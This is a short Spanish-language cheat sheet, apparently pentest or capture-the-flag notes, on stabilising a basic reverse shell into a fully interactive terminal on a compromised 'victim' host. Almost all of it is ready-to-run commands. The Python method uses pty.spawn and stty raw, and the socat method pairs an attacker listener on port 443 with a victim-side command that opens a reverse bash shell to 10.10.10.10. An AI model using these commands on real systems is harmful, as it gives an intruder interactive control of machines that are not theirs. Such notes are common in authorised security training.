TTY Stabilization (Interactive Shell)
Si tienes una shell “tonta” (no funciona Ctrl+C, ni flechas, ni tabulador), sigue estos pasos en orden exacto para arreglarla.
Método Python (El estándar)
- En la víctima (dentro de tu shell básica):
script /dev/null -c bash # O si tienes python: python3 -c 'import pty; pty.spawn("/bin/bash")'(Pulsa Ctrl+Z para suspender la shell y volver a tu Kali)
- En tu Kali:
stty raw -echo; fg(Al pulsar Enter, volverás a la shell de la víctima. Escribe
resetsi se ve raro) - Configurar variables:
export TERM=xterm export SHELL=bash - Ajustar tamaño (Para que nano/vim funcionen bien):
En otra terminal de tu Kali mira tu tamaño con
stty size. En la víctima:stty rows <FILAS> columns <COLUMNAS>
Método Socat (Shell perfecta)
Si puedes subir socat a la víctima, obtienes una TTY completa directamente.
Atacante:
socat file:`tty`,raw,echo=0 tcp-listen:443
Víctima:
./socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:10.10.10.10:443